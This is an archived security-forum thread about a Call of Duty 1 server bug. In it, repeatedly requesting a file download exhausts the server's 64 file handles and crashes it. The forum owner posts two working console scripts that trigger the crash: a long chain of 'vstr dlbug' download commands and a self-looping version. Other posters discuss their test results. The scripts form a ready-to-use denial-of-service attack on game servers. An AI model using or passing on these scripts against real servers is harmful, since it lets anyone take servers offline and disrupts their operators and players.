Luigi Auriemma

aluigi.org (ARCHIVE-ONLY FORUM!)
It is currently 19 Jul 2012 11:29

All times are UTC [ DST ]





Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 12 posts ] 
Author Message
 Post subject: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Apr 2008 14:33 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
The error in the topic is usually considered a normal bug and from what I have seen it has been patched in many Q3 games tons of time ago (Quake 3 1.29 reports it in a fix of 2001 but I don't know if it's just the same thing), anyway it can be also (ab)used to terminate the servers of some games like for example Call of Duty 1.

In short the problem is something related to the files opened by the server and not closed or similar, so for example if a server has the downloads enabled (sv_allowdownload and/or sv_wwwdownload) and a client requests a file more than 64 times (for example joining/leaving a server which uses a mod/map/content the hasn't and so on) then the server terminates with that error.

At the moment I don't have looked to a simple easy to use way to test this bug/vulnerability due to some problems with my PC and a not so big interest in this thing, so feel free to test it and post your comments and results.


Top
 Profile  
 
 
 Post subject:
PostPosted: 28 Apr 2008 14:47 

Joined: 24 Apr 2008 20:46
Posts: 11
i tested it on cod2 and downloaded some mod a lot of times(on server was punkbuster)....and after dunno how many tries it kicked me with message similar to "Punkbuster kicked e.wiZz! 0 minutes.Channel overflow."


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Jul 2010 16:05 

Joined: 06 Apr 2008 19:33
Posts: 18
Sorry to bump this very old topic, but couldn't you just sniff the packets sent to the server when requesting a download, and send those same packets 64 times?


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Jul 2010 16:50 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
you can't because in the Quake 3 engine the packets can't be simply replicated multiple times.
they have seq/acks to respect and moreover all the encryption layer that requires the rebuilding of the whole packet.


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Jul 2010 18:04 

Joined: 06 Apr 2008 19:33
Posts: 18
Using Q3dirtrav you can do e.g. /download uo/herpderp.pk3

This does request a download, so I figured: "Can one simply request a download multiple times?"

Though I don't know any real programming (other than modding call of duty, so this isn't of much use)
I'm probably just too simple-minded.


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Jul 2010 18:10 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
you can do that only if you have a minimalistic client that can send in-game commands (for example imagine a q3fill plus the in-game part).

without that the only alternative is doing it manually or maybe via a mod (in doubt).

sincerely I don't remember if I found a better and faster way in my tests because too much time is passed an my memory is not good, but if I'm not in error I remember something about an automatic operation performed by the client that required no skill or manual stuff.


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Jul 2010 18:19 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
ok the following IS the way:
Code:
set cl_allowdownload 1
set cl_wwwdownload 0
set dlbug "download main/pakc.pk3 ; wait;wait;wait;wait;wait;wait;wait;wait"
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
vstr dlbug
note that probably you need to add more ";wait" because here the server crashed after the third one.
note also that there I specified pakc.pk3 but probably there are better files to call for the download that could be more compatible (note that the file is not downloaded so the size doesn't matter)


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 28 Jul 2010 19:25 

Joined: 06 Apr 2008 19:33
Posts: 18
Very interesting. Though I haven't been able to replicate this on my LAN server.
It spams "Server sending download but no download was requested" a couple of times (10/15 times).

It could very well have been fixed in the patches.
In any case, it was an interesting read. Thanks :)


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 29 Jul 2010 07:34 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
uhmm here I have CoD1 1.5b and it's vulnerable.

you can also use the following alternative script to force the downloads in loop so that they will for sure reach the 64 limit (it must be major than this number to exploit the bug):
Code:
set cl_allowdownload 1
set cl_wwwdownload 0
set dlbug "download main/pakc.pk3 ; wait;wait;wait;wait;wait;wait;wait;wait; vstr dlbug"
vstr dlbug
attention that the script will not terminate so in some cases you could need to kill the process manually


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 29 Jul 2010 09:13 

Joined: 06 Apr 2008 19:33
Posts: 18
CoDUO 1.51

Can't try it on CoD at the moment because my CD-Key is missing, for some reason.

I've had one WIN- moment where it did give me connection interrupted on my internet dedicated server (though haven't been able to replicate that result). And I figured this was more of a client issue than the server actually shutting down (crashing).

I looked in console_mp.log and it didn't mention anything of great value.


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 29 Jul 2010 09:19 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
it's enough strange that CoD is vulnerable and CoDUO isn't, but yeah InfinityWard is full of surprises when it's a matter of vulnerabilities :)


Top
 Profile  
 
 Post subject: Re: Call of Duty "FS_HandleForFile: none free" bug
PostPosted: 29 Jul 2010 12:13 

Joined: 06 Apr 2008 19:33
Posts: 18
I believe gray matter employees were a little bit more aware of things since the company (now part of treyarch) is full of modders (at least now it is). I've seen enough people getting hired by treyarch because they made some awesome mod in a CoD-game.

Knowing that, it wouldn't be a big surprise if gray matter employees had read about the vulnerability and IW ones hadn't.


Top
 Profile  
 
Display posts from previous:  Sort by  
Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 12 posts ] 

All times are UTC [ DST ]


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for: